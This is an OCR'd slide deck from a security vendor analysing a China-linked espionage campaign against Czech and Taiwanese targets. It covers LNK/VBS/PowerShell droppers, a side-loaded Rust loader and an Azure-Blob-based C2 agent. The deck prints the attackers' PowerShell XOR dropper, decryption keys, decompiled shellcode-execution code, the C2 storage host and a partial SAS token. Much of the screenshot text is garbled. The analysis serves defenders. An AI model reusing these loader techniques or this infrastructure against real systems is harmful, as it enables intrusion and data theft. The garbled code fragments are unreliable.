SEGRITE

f-\\/ A y | \\

&
A - -
= - . Il ></’. N |-
A China-linked campaign using [
Azure as command-and-control Y

Kartik Jivani - Priya Patel — SEQRITE Labs



S

RESEARCHERS

B ——

2(
Kartik Jivani Priya Patel
SECURITY RESEARCHER
SEQRITE Labs SEQRITE Labs

Operation DragonWeave - SEQRITE Labs SE&ITE



= Threat Researcher @ SEQRITE Labs

= Research featured over Recorded Future & TheHackerNews

= Previously presented at FIRST Technical Colloquium, Bangalore

Priya Patel

SECURITY RESEARCHER

Operation DragonWeave - SEQRITE Labs SE@ITE



DW

Operation Dragon Weave

SEGRITE



= = SUMMARY

Operation Dragon Weave at a glance

Operation Dragon Weave is a China-linked targeted campaign The final payload, AZUREVEIL, is an Adaptix-based C2 agent

observed against entities in Czech Republic and Taiwan, using with 36 commands, providing file, process, shell,
region-specific lures and delivery mechanismes. network-pivoting, and in-memory BOF capabilities.

The campaign employs multiple unique infection paths, A key tradecraft finding is the use of Azure Blob Storage as a
LNK/VBS/PowerShell and a Rust-based dropper along with dead-drop C2 channel, demonstrating how legitimate cloud
NSIS installers that ultimately converge on the same payload infrastructure can be leveraged to blend command-and-control
execution chain. traffic with trusted services.

The RUSTCLOAK loader uses DLL side-loading, sandbox We assesses the campaign as China-linked, based on the
Checks’ |ayered decryption’ and in_memory execution to targEting patterns, infraStrUCture, malware tradecraft, and
evade analysis and security controls operational overlaps identified during the investigation.
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= = VICTIMOLOGY

Targeted Nations

The Czech Republic Taiwan
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Timeline of the Dragon Weave Campaign

CZECH REPUBLIC Inno Setup CZECH REPUBLIC Spear-phishing ZIP
Earlier activity discovered through campaign tracking TAIWAN Spear-phishing ZIP
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— = [NITIAL ACCESS

Initial Infection: Taiwan

823197c10a9e87fbf5b8ea2a36fe22402b03a72d7e825a5d43¢c8527de8627e50

zip detect-debug-environment spreader long-sleeps contains-pe

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY

First seen © Last seen © Distinct submitters

1

» ™A I\A) Al »
Ay AR

We found the initial spear-phishing ZIP uploaded from Taiwan in March 2026.

Operation DragonWeave - SEQRITE Labs SE&ITE



TW

Post-Spear-phishing: Taiwan

SEGRITE



- = POST SPEAR-PHISHING

Post Spear-Phishing: Taiwan

APPLICATION REVIEW RESULT NOTIFICATION

data STERREEERBAHE. ST ERREEERBAE.
pdf.lnk exe

We found an interesting set of files written in Traditional Chinese, commonly spoken in Taiwan.
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— = [NITIAL ACCESS

Initial Discovery: Czech Republic

Q Follow v/

2d172f8fee41880ff0958a0e24c64753f90a8d032e6f38¢c5460c4abbaad3d22f
000b67d70f3876965bb09fd37164b7.zip

zip detect-debug-environment contains-pe long-sleeps

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 4

First seen © Last seen @ Distinct submitters ©

® C7ECH REPUBLIC | ~7ECH REPURBL I
2

We found the second spear-phishing ZIP uploaded from the Czech Republic in March 2026.
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— = [NITIAL ACCESS

Initial Discovery: Czech Republic

Q Follow ~ C Reanalyze

c5b2fddc8051ac6fcOc6ce44abbd4bcd963f52¢c434a5073852782b74f02649d5

BrowserView_Repair_Utility.exe 2.44 MB

peexe invalid-signature overlay signed

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY

First seen ® Last seen @ Distinct submitters ©

e ]l

ECH REPUBLIC

View all v All history v Region v

We found the third spear-phishing Inno Setup module uploaded from the Czech Republic in January 2026.
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- = POST SPEAR-PHISHING

Post-Spear-phishing: Czech Republic

NUMBER-BASED FILE NAMING
000b67d70f3876965bb09fd data
37164b7.pdf.Ink

-

000b67d70f3876965bb09fd 1.dat Com.dat empty.vbs Profile.psl UnityPlayer.dll
37164b7.pdf

———
| — —

We found an interesting set of files which even contained a corrupted decoy, along with another set of interesting files.
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- == TECHNICAL ANALYSIS

Malicious Shortcut (.LNK)

EXECUTES EMPTY.VBS FILE

Local path : C:\Windows\System32\wscript.exe
Relative path '

\ \ \ \ \WWasrmdmr e\ Crormrdrnm

Command Line arguments : ".\data\empty.vbs"
Icon location : %ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe

Environment variables location

Across both campaigns the shortcut file remains the same, executing the VBScript file.
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- == TECHNICAL ANALYSIS

Malicious VBScript

EXECUTES PROFILE.PS1 FILE

launches Profile.ps1 using
PowerShell

The second stager, dropped by the LNK, executes a PowerShell file known as Profile — found across both campaigns.
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- == TECHNICAL ANALYSIS

Malicious PowerShell

$ErrorActionPreference = 'SilentlyContinue'

$datPath = Join-Path -Path $PSScriptRoot -ChildPath "1.dat" Drops decrypted payload into %
$pdfPath = Join-Path -Path $PSScriptRoot -ChildPath "000b67d70f3876965bb09fd37164b7ccrezervaci.pdf” TEMP% directory

idropExePath = |oin-Path -Path $env:TEMP -ChildPath "RuntimeBroker update.exe" |«

$key {"P@sstrd_am_ZOZﬁ"

if (Test-Path $datPath) {

$encryptedBytes = [System.lO.File]::ReadAllBytes($datPa
$keyBytes = [System.Text.Encoding]::UTF8.GetBytes($key)

$decryptedBytes = New-Object Byte[] $encryptedBytes.Length Hardcoded XOR key used to

decrypt payload

for ($i = 0; $i -It $encryptedBytes.Length; $i++) {
$decryptedBytes[$i] = $encryptedBytes[$i] -bxor $keyBytes[$i % $keyBytes.Length]

}
[System.|O.File]::WriteAllIBytes($dropExePath, $SdecryptedBytes)
\ Writes decrypted executable to disk
$sourceDIl = Join-Path -Path $PSScriptRoot -ChildPath "UnityPlayer.dll"
$targetDIl = Join-Path -Path $env:TEMP -ChildPath "UnityPlayer.dll"

The malicious PowerShell drops an executable which in turn drops the decoy PDF — limited only
to victims in Taiwan — using XOR decoding with a hardcoded key.
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- == TECHNICAL ANALYSIS

Malicious PowerShell

An interesting caveat, which we found which we believe is an OPSEC mistake from the threat actor that
they went ahead and missed the decoy and the executable which launching the campaign targeting Czech
Republic, leaving behind a corrupted decoy, only.
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- == TECHNICAL ANALYSIS

First-stager Implant
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Name

UnityMain

WriteConsoleW
QueryPerformanceCounter
GetCurrentProcessid

RtlLookupFunctionEnt

THE SIGNED EXECUTABLE LOADS RUSTCLOAK

We found a very interesting TTP: in most of the implants the operator encodes the implant — in this case the original legitimate signed executable

Operation DragonWeave - SEQRITE Labs

— side-loading the malicious DLL implant, RUSTCLOAK.
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- == TECHNICAL ANALYSIS

First-stager Implant

File name
S — — = & pon = urep data/UnityPlayer.dll
File type File size
PE64 v 262.50 KiB
File info
MIME
PE

Sections Time date stam Size of image
0006 > I 2026-03-23 22:33:28 I 00045000

fresh compilation imestamp

Scan

Automatic

~ PE64
Operation system: Windows(Vista)[AMD64, 64-bit, DLL]
Linker: Microsoft Linker(14.36.35214)
Compiler: Microsoft Visual C/C++(19.36.35207)[C++]
Language: C/C++

Tool: Visual Studio(2022 version 17.6)

NOT legitimate Unity DLL

RUSTCLOAK IMPLANT

We found that the RUSTCLOAK Implant, which is renamed and present at disk, is not a legitimate “unityplayer.dil” ,
which is often abused by Chinese APTs as well as the technique seen in DLL-Sideloading cases.

SERRITE
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- == TECHNICAL ANALYSIS

First-stager Implant: PDB artefact

db
db
db
aCUsersDell2Car 0 db 'C:\Users\dell2\.cargo\registry\src\index.crates.i0-1949cf8c6b5b55"

db '7f\base64-0.21.7\src\engine\general purpose\decode.rs',®
align
off 180029340 dg offset aCUsersDell2Car 0

db
db
db
db

RUSTCLOAK IMPLANT

We also found an interesting artefact — the PDB path, often stripped in malware
files, present inside it along with Rust library file strings.
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- == TECHNICAL ANALYSIS

First-stager Implant

ap
aComputernamebl db '

11 L 4
JilJ! v

a:0000000180028AF4

off 180028AF8 uz‘* aComputernamebl+

offset aComputernamebl+

ANTI-ANALYSIS: SANDBOX DETECTION

We found that RUSTCLOAK also uses decent anti-sandbox feature that is checking system’s names and if it
finds hardcoded usernames such as DESKTOP-NAKFFMT, JULIA-PC, and ARCHIBALD-PC, which are often
seen in automated analysis setups, it just stops working.
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- == TECHNICAL ANALYSIS

First-stager Implant

We found that RUSTCLOAK uses 3-DES cryptographic technique to decrypt the encoded payload or the second-stager inside the
memory and it does it by loading the file, it reads the encrypted payload (Com.dat) from disk and processes it through multiple
layers of decryption before it can be executed.

Layer 2: Base64 Decoding

The first stage uses a modified RC4 After the RC4 step, the output is still In the final step, the data is decrypted
algorithm. The key used for this step not directly usable. It is encoded in using SM4 in CBC mode. The key and
is: F8 834017 1D 66 AA C2 BO 25 A8 Base64 format, so the loader decodes
6C AO DD C4 5A it to get the actual binary data for the
next stage.

initialization vector used are:

Key: CD CE 4F DB 3E 6AF2 44 AC 62 8C F4
96 1F 6B FB

IV: FA70 B1 81 A0 BA 5D 46 7A 5D 40 DD
99 B6 9B 42
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- == TECHNICAL ANALYSIS

First-stager Implant

v

l ’
= v46;
= ‘4'47;

o

8 = *(_QWORD *)fl0LldProtect;

f ( ( QWORD)v39 )

sub_180002260(*((_QWORD *)&v39 + 1), 4 * v39, 4);

sub _180002260(v25, v26, 1);
v29 = (void (_ stdcall *)(LPVOID))VirtualAlloc(wllptr, i, 0x3000u, 4u);
if ( v29 )
{

v30 = v29;

sub 180025C30(v29, v23, 1);

f101dProtectifl = 0:

if ( VirtualProtectj{v30, i, 6x20u, fl0ldProtect) )

{
if ( ConvertThreadToFiber(nullptr) )
{
Fiber = CreateFiberEx(0, 0, 0, v30, nullptr);
1¥ ( Eihe

SwitchToFiber(Fiber);

USING WINDOWS FIBERS FOR SHELLCODE EXECUTION

Once the decryption process is complete, RUSTCLOAK allocates memory using VirtualAlloc and copies the decrypted
shellcode into it. It then changes the memory permissions to executable using VirtualProtect before running the
payload using Windows Fibers which is a well-known and kind of novel technique.
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- == TECHNICAL ANALYSIS

First-stager Implant

LI e 48 fis |):o:mrd oEr aetl<virtualfrotect>y [VirtualProtect ~ wide FPU
. cC it

Shellcode size = 103,423 bytes e | - iaser |

PAGE_EXECUTE_READ

< 3
48;FF25 9600600 Imp qword per dss [FingActCexSectionGul( FindactCt
int3

Embedded PE (AZUREVEIL)

GS 0028 FS 0053
£5 0078 D5 0038
<

Defadt (064 fastcal)
11 Fex 000GOIBECTEO000 000DOIDHECTSI
vi2: rdx 000000000001 9IFF 00000000000

EEEEENSEETEIESNAr 00007 FFLIDI01674 return L0 waityplayer D1 IMaimeddy fros unttyslayer .01 vain
O000 3 BIEC 750000

] 0 LA000

-

TRANSITION FROM 1ST STAGER [RUSTCLOAK] TO 2ND STAGER [AZUREVEIL]

While debugging the loader, we observed it allocating a large memory region and copying the decrypted payload into it.

Analysis of this region revealed a valid PE header (MZ), confirming that the payload contains a full executable rather than
raw shellcode. The in-memory PE was approximately 103 KB and was extracted during debugging. It was identified as the
final payload, AZUREVEIL, confirming that RUSTCLOAK decrypts, loads, and executes a complete PE entirely in memory.

SERRITE
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- == TECHNICAL ANALYSIS

Second-stager Implant

~ PE64
Operation system: Windows(Server 2003)[AMD64, 64-bit, DLL]

d151a70fdad42e8452a251e6e3861a399fe3e200f7385bf09bf9abbc0723ac824

C:\Windows\2e2rslq.exe

pedll payload 64bits

DETECTION DETAILS RELATIONS BEHAVIOR CONTENT TELEMETRY COMMUNITY 2

Malware config detection ©

» This file contains malware configuration that may be attributed t>

PUBLIC DETECTION BASED ON CONFIGURATION — ADAPTIX C2

AZUREVEIL is the final payload and the most technically significant component of the campaign. Analysis confirmed it is a 64-bit MinGW
C++ DLL implementing a fully featured Adaptix C2 agent, with VirusTotal detections also identifying characteristics associated with the
Adaptix malware family. The implant dynamically resolves approximately 87 Windows APIs using a djb2-based hashing mechanism.

These APIs are loaded from libraries including wininet.dll, Ws2_32.dll, Advapi32.dll, Iphlpapi.dll, and msvcrt.dll, supporting its broader
C2 and host-interaction capabilities.
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Second-stager Implant

RIP RO -u—m OV qQword pEr coi[rsp 1), bw A Ry p—
® : 45:89eC24 10 SOV guord plr iiprip . log,.rig
B 45:807424 18 SOy Qminrd pTe " .
» 57 push RAX ) ¥ 0L
» 41:54 push ri. REX D01 D410 1A
s 41:55 push ri it PRSP = = . .
- -‘1135 push ris ;5;; Dd Far NOTe1gobdhgodwal . Diab. core. windows, net
. 41:%7 push OO0 O 30F £9
* 48:B1EC COO00000 | swd rsp, RSP
. 43:836324 50 D0  and gword ptr ( ) : 5 AT T ond
» LCI88F7 soy rid, rox .
. ol or edx,edx AZUREVEIL connecting to attacker-
i3 4C.BBFY sov ri15 . rcx NOGO000
- CTéa2a 5 0000000 hov dword per =5l sp-scl controlled OINNER i e
. 45:804C24 &0 lea rox,qword pur H Y - R ) a
. s9:081 wov 151 Azure Blob Storage account :
» 44 2 60 -a el ,qword ptr 1 .
N £3 BCDIFArE SRl NP, Ssenmset» r—
* FEOS FFD33500 02 test byte ptr d::[7FFBSDL4F40], R4 OULOCOOUOCO0K
. 4C;B8AR24 28000000 mov ril,quord prr si:iffrss | 113 0000000000000000
= &4 88AC2¢ 2001000C mov dword ptr | )|
- Saas %4 1 AL AAAN -_— . dvad nes - a v aTs TEraTRan Taen sl il rna® Tl ar vabfowenae ¥ A

AZUREVEIL USES AZURE BLOB AS C2 — UNCONVENTIONAL C2 TECHNIQUE

AZUREVEIL uses Microsoft Azure Blob Storage as a dead-drop C2 which is quite unique, eliminating the need for a
traditional attacker-controlled C2 server. The infected host periodically uploads a small ~124-byte encrypted beacon,
while the operator places commands within the same Azure storage container. AZUREVEIL retrieves, decrypts, and
executes these commands before uploading the encrypted results back to the container. This approach allows the C2
traffic to blend into legitimate Azure infrastructure while keeping the attacker and infected system from communicating
directly.
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Second-stager Implant

ase OxCu:
sub_38A6192B0(al, a2, v25, a4, v6, a
hraalk

150 OxEFu:
sub 38A61A0FA(al, a2, v25, a4, v6, ab
b

1se OxFu:
sub_38A619390(al

break;

ase Oxllu:

sub 38AG1BABA(al, a2, v25, a4, v6, ab
break:

ase Oxl2u:

sub 38A61A67E(al, a2, v25, a4, v6, ab
break:

ise Oxl5u:

sub_ 38A61A7D4(al, a

hraak .

case Oxléu:
sub _38A619B52(al, a2, v25, a4, v6, ab,
[P

1592 Bx17u:

sub 38A61B0D8(al, a2, v25, a4, v6, ab
break:

1se 0xl8u:

sub_38A618F68(al, a2, v25, a4, v6, a6,
break;

ase OxlBu:

sub_38AG1ASAS(al, a2,

"HA};

3 OxZ0u:

sub 38A6194FE(al., a2, v25. ad, vb }

AZUREVEIL SUPPORTS A TOTAL OF 36 COMMAND FEATURES FOR THE OPERATOR

During our static and dynamic analysis, we identified 36 commands supported by AZUREVEIL, covering a wide range of
post-exploitation activities. These capabilities allow the attacker to fully control the infected system, perform data theft,
and move laterally across the network.
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- == TECHNICAL ANALYSIS

Second-stager Implant

FEATURES ACROSS AZUREVEIL IN TABULAR DETAIL

Execute shell commands

List directory contents and logical drives

List running processes & named pipes

Read, move, rename and delete files
Exfiltrate files to Azure Blob Storage Configure and terminate processes

Drop files from C2 to the victim system Kill processes & named pipes
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Second-stager Implant

FEATURES ACROSS AZUREVEIL IN TABULAR DETAIL

Port forwarding and SOCKSS5 proxy control Reconfigure C2 settings at runtime

TCP and UDP pivot connections Control file transfer state
Named pipe communications Retrieve system update

Network adapter enumeration
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Second-stager Implant

FEATURES ACROSS AZUREVEIL IN TABULAR DETAIL

Execute Beacon Object Files (BOF) entirely in memory, without writing to disk
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Second-stager Implant

sub_38A619CBE(al,

hf ‘_’li.L'\ >

case Ox2Fu:

sub_38A619EDE(al,

case Ox32u:
sub 38A6198DA(al,
Dreax:

case Ox3ktu:
sub_38A61C2FC(al,
break;

case Ox3Fu:
sub 38A61C3A0(al, .
break;

case Ox40u:

LOOKING INTO UNIQUE COMMAND ID — 0x32

During our analysis of the commands , Command 0x32 caught our attention during static analysis. At first it
looked like a generic injection routine, but after analysing the relocation code we found it was more than that
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Second-stager Implant

switch ( *((_WORD *)v47 + 4) )
{
case 1:
sup_soA6143B0(al, a2, *v47 + *(_QWORD *)(8LL * 1 + a5), (unsigned int)&v36, 8,
v36 += v45;
sub_38A6143BO(al, a2, (unsigned int)&v36, *( DWORD *)(8BLL * i + a5) + *v47, 8,
break.
case 3:
Sub_38A6143BO(al, a2, *v47 + *( _QWORD *)(8LL * 1 + a5), (unsigned int)&v37, 4, - : : ) 8
if ( *( QWORD *)(8LL * (SWORD2(v39) - 1) + a5) + v37 - (*( QWORD *)(8BLL * 1 + a5) + *v47 + 4LL) > OxFFFFFFFFLL )
return 0;
v37 = *( QWORD *)(8LL * (SWORD2(v39) - 1) +
v37 += *( _DWORD *)(18LL * v47[1] + a6 + 8);
sub_38A6143BO(al, a2, (unsigned int)&v37, *
break;
case 4:
case O.
case 6:
case /:
case 9:
v3/ v,
v43 *((__intl6 *)v47 + 4) - 4;
sub_38A6143B0(al, a2, *v47 + *( _QWORD *)(8LL * 1 + a5), (unsigned int)&v37, 4,
v20 = *( QWORD *)(8LL * 1 + a5) + *v47 + (_ int64)v43 + 4;
v2Zl = v20 - v45:;
if ( v20 - v45 < 0 )
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Second-stager Implant

v51l
v50
v49
v4l
val
for
{

v44

0;

nullptr;

0; |

0,

1=0; 1< *(_1intl6e *)(a3 + 2); ++1i )

W n un n

40LL * 1 + 20 + a4:

v47 = (int *)(*(int *)(v44 + 24) + ad);
¢ 3

for ( J = 0; j < *(__intl6 *)(v44 + 32); ++]

{

vll

vl2

v38

v39

v40

LUUNVND (VAL ) = ¥Y™Ir L4y

if ( (int)vl2 >= *( _DWORD *)(a3 + 12) )
sub 38A615B76(al, a2, 0, 257, 0,
return 0;

}

EY 0;

v4s 0;

v36 0;

if ( (_DWORD)v38 )

i

(__int64 *)(18LL * v47[1] + ab);
vlil[1];

*vl1ll;

vl2;

*(( WORD *)vll + 8);
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Second-stager Implant

" The function was reading data at offset +2 for section count and offset +12 for symbol count, the exact same
offsets defined in the standard COFF file format. To confirm this, we compiled a real AMD64 COFF object file on
our analysis machine and compared its structure against the parser.

When a BOF is received, AZUREVEIL first allocates memory and loads the different sections of the object file into
it. It then processes the required relocations and resolves function references using its internal hash-based lookup.
After setting everything up, the loader executes the BOF entry point directly within the agent process.

Any output generated during execution is captured using a named pipe and then sent back to the attacker through
Azure Blob Storage. This lets the attacker run additional functions on the system and get the results back, all while
remaining completely in memory.

Operation DragonWeave - SEQRITE Labs SE&ITE



DC

Decoys & OPSEC Failure

SEGRITE



DECOYS & OPSEC FAILURE

After examining the contents of the ZIP archive, we discovered a lure document inside the data/ fo

der named

000b67d70f3876965bb09fd37164b7.pdf. Additionally, upon analyzing the main executable FtE=RHEBE TG

BRIBXNE .exe, we found another lure document embedded within the binary itself. At first glance,
documents seem similar due to their naming, but their contents are different.

both

But... walit...
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DECOYS & OPSEC FAILURE

a001a0t6304daee 1a0f6304daeceb6T9df4d6e0dd9cla8lrezervacli.pdfMZ’

dk
db
db

Embedded inside the malicious executable: FHEEHRFEE iR BEHE .exe

-

000b67d70f3876965bb09fd
37164b/.pdf

DELIVERED SEPARATELY INSIDE THE INITIAL ZIP
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DECOYS & OPSEC FAILURE

The file 000b67d70f3876965bb09fd37164b7.pdf was identified within the data/
folder and is encrypted using a single-byte XOR with the key OxBE. Upon

‘ N7 WG4EE WPS PDF \ decryption, we found the document is written in Chinese and contains content
related to a WPS PDF software advertisement. Despite having a naming pattern
_ similar to the lure document embedded within the executable, this file is not
s | Z R referenced or used at any stage of the infection chain.

LA{S#548 Word SCE—#{E2 PDF REINF

. This suggests that the document may have been unintentionally included by the
threat actor, possibly as a leftover artifact from a different campaign, where such a

PDFEIR / M / RS s A document could have served as a decoy.

(3SR, PDF SBIRH%:. PDF Z4ESHS
%, SEAREFERK.

KEREH HEANPCF POFRSD POFEH

Al BhF: SBFEFIEE
DIBECTENERS. OCR 4ERHH.
A REESIR, LR Al STEENAE

8

RANAE

11 PDF RS, TUE. %8, TFTEA.
TMEME, BT IR A AL,

A
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DECOYS & OPSEC FAILURE

The malware displays a Czech-language decoy PDF
embedded within the executable, designed to appear

ViiZeny Kliente, byl jste objedniin na pracovisté Klientského centra iistfedi CSSZ, as a legitimate appointment notice from the Czech
K¥iZzova 25, Praha 5 do pofadového systému s nasledujicimi adaji: . . . . . v

Social Security Administration (CSSZ). The document
Jméno objednancho: Zuzana Koskov \ includes realistic appointment details and instructions
SRt References official for obtaining a queue number, along with a link to the
Email: zuza.koskova@ gmail.com CzeCh SOClaI Security .. 74 . . . N
o Pl official CSSZ website. This likely serves to distract the
Sjcdnang termin : 16.3.2026 17:15 victim and make the malicious execution appear
Pridéleny identifikagni kod : 9042 | e gltl m ate

Dostavte se prosim ve sjednaném terminu na Gfad s potfebnymi dokumenty.

Po pFichodu si na tiskiarné odeberte poradovy listek zadanim VaSeho identifika¢niho kédu v sekci
wObjednani klienti WebC@1* a vy&kejte na vyvolini. VAS identifikacni k6d bude aktivni v rozmezi +/- 15
minut od sjednané¢ho ¢asu. V pfipadé, Ze se v tomto intervalu nedostavite, Vase objednavka propada.

Upozornéni: Objednany termin lze zrusit prostiednictvim odkazu: https://webcall.cssz.cz/i/?
a=storno&cq=001a0f6304dacec6f9df4d6e0dd9cla81 nejpozdéji 3 dni pied terminem.
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Azure storage as command-and-control

- > ey TR W LAY TS TORAWET § YN VT AR A B WAar e TN - T TV TRIN BAF - RS L R ] AR
AT« I S 0CE  Tmev rmeas 0 eoieed .
. 4514958 08 My Qword per : Av =47 ,rbon Hide FPU
. 4514968 10 "oy Qwird per 1{ras 1.r0p > .
. 4513970 18 My Qword pTr o51frax-1a],rs - =
™ 57 2ush RKEax QOO0019SCASF 240
. 45! S1EC 80000000 sub rso, . BODO00GROLL 00
. 45:30r2 MY rsY,.rdxs 1 % T D x> . LIS CTEIL2A ~NT
. 4%:3ar0 Qv 15,78 i : REP CO000017 248FFAFO
. 3302 AOF eds, edx BEP OO000001724GFE205
. 45: 30682 My rop,.rix ks: DOO0019AC T T 0000
. 45: 3040 5 1ed rex gword ptr de:[rax )| RO GOO00D0N000000
. 49:5809 MoV rox,.r9
' 44:5042 &0 lea rid,.geord ptr de:[rdxe 0] 00000 ASCAREI N " /rote/at BDDET /1777476097 39481744, 51075 vn2024-11-04 bAsrtescobspwrnd ] ACI YT T xAsend027-03-29T17: 35 44245t
» E8 OAELIFTEF ANl <INP. Amemsets : v‘-‘-‘o(;’lh'-'-‘-‘o‘o(p'-:-'- 0T AT/ SAcBRET /17 774ATROS7 _S9%348) 4.0 svn202 11044 5abLsrtescodspewrwdl ac iyt T xdsendO 13397172351 0445T
» 45:304L724 50 1ea rcx . gwvord ptr 7‘ - 3 g S s -
- EB AMLBESEF a1 winines. 7FFED037D9%0 K10 . ) .'E""'-. _-g RAAALL S WR e i ad o il
. B36424 40 00 snd oword ptr ssifrso-+08, :“ X 1‘;““;‘6;“
e o ABCE oY e 12 00000 ECTEEY
. 441488424 FOOOLDXD oV 103, 0word ptr [ ( ) ki3 OOOOOODOO00DD
. 1ancy Moy re.ra . t Ris OO0 000000000000
. 451 888424 FROODOD MY rfas,.anord otr s 3 nis QOO0 00000000000
. 4110FBAFY IC otr riogs,
. 45! 894523 38 "V Quird pTr tfrso-33], ras RIP OO0TFFID14648 el piNet . MITPOPE R equUes TAS
. 45: 3000 Ny rds,.rs " 3 1% rUT
. 45: 388424 C3000000 MOV rEs . Gnord ptr : Pl pels RELAGS ey 0304 .
. 45: 300D POV fix, i - . S Bl bp thWth g t'D
. 44:895424 10 oy twerd prr aa:fra; A0 v ; - c‘ - O a | agen
. 48:394424 23 mov guord phr :frs TR WO WO W g
. 48: 308424 50000000 mov rax.gword ptr B g ped CF D F1 1713
. 4R: 394424 20 mov gword per sfrag ' Bl
. ER TSATFIFF AT wimines,  7FFED06ACHD Lastirror DOOO0000 (SREOR_SUCCESS)
» 4R: 3024 SO 1ea rcx,guord ptr - $p 3 )+ LASTSTATUS CO C (STATUS MO _TOKEN
. 48; 4808 MOV FON, T AX
. E8 FALGEFFF CAMY wininet, TEFED037CA0 G 0028 FS 0053
. AC; B0 e AUOODIX je3 rii.gnord potr i so0g S DOXE DS DO2S
* 513803 MOV rax,rox Cs D023 55 0028
. 4913858 10 ®ay rox,geord ptr dsifrii+10]
. 45135868 18 ™My oo, geord ptr d ilr] Defadt [x54 fastzal) wilg s
. 4%:3873 20 My r59,.avord oTr 0sifirileso] : { . ) #
® 49: 3803 MOV rso.rF1l §= rex WOO?I oooooow_)oocoou 3 X
. sr sge rd Y12 rdx ODOOOLASOSCTANIZA OOCOOIROSCTRVIIA "PUT
< > : rd 0DDOOASOSCREEZAD OO0 SCASEZAD

3
d: Y 000000000OOON0 OOOO00ONO0DDD
5

rax=CCooos P Trsp+24T 0000000000000000 OOOOO000000000

During our analysis, we observed that AZUREVEIL communicates entirely through Microsoft Azure Blob Storage, abusing
legitimate cloud infrastructure for command-and-control. Instead of using a traditional C2 server, the attacker relies on a
dedicated Azure storage account: note1ggbbhggdwa1[.]blob[.]Jcore[.]Jwindows].]net
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Further analysis revealed the following details about the storage setup.

CONTAINER BLOB FORMAT

/note/ats/ {agent id}/{timestampl} {timestamp2}.bin
AGENT ID PORT

345831bc 443 (HTTPS)
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" All communication happens over HTTPS on port 443, which makes the traffic blend in with normal Azure activity. Since
blob.core.windows.net is widely used by legitimate applications, this approach helps the attacker avoid network-level detection.

= \We also identified a hardcoded Shared Access Signature (SAS) token found inside encrypted blob which is dropped by the ET=HRiEEEHER
18 X[ .exe executable, which is used to authenticate all operations on the storage account:

sv=2024-11-04&ss=b&srt=sco&sp=rwdlaciytfx&st=2026-03-19T09:20:44Z8se=2027-03-19T17:35:44Z8&spr=https&sig=ECJ;JIIE

90u75dwiHhliC4fWccdBpLX9u580AX9TGwY=

The token is valid for one year, from March 19, 2026 to March 19, 2027. This long validity period suggests that the attacker intended to
maintain persistent access over an extended time. The permissions associated with the token allow full interaction with the storage

container, including read, write, delete, and upload operations

SERRITE
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Based on the TTPs, tooling, and targeting observed throughout this campaign, we assess with moderate
confidence that it is linked to a China-based threat actor. However, we do not attribute it to any specific
known group, as the campaign includes techniques that have not been previously documented in publicly
known Chinese APT activity.
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Conclusion

Operation Dragon Weave is a targeted espionage campaign. One of the unique aspects of this campaign is its use of
Microsoft Azure Blob Storage as a dead-drop C2 channel. Instead of talking to a normal C2 server, the malware
blends its traffic with regular cloud activity, which makes it much harder to notice. The final payload, AZUREVEIL, is a
fully featured Adaptix C2 agent with 36 post exploitation commands. Along with the in-memory BOF execution
capability, it gives the attacker a lot of flexibility to run additional code and control the system without leaving much
behind on disk.

We also observed that the campaign targets both the Czech Republic and Taiwan, using region-specific lure
documents. This indicates that the operation is planned and targeted rather than random. Based on the use of
distinct tools and techniques, we assess that this campaign is linked to a China-based threat actor.
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Thank You

Have a great day ahead

1800-212-7377 | info@seqrite.com WWww.seqgrite.com SECR'TE



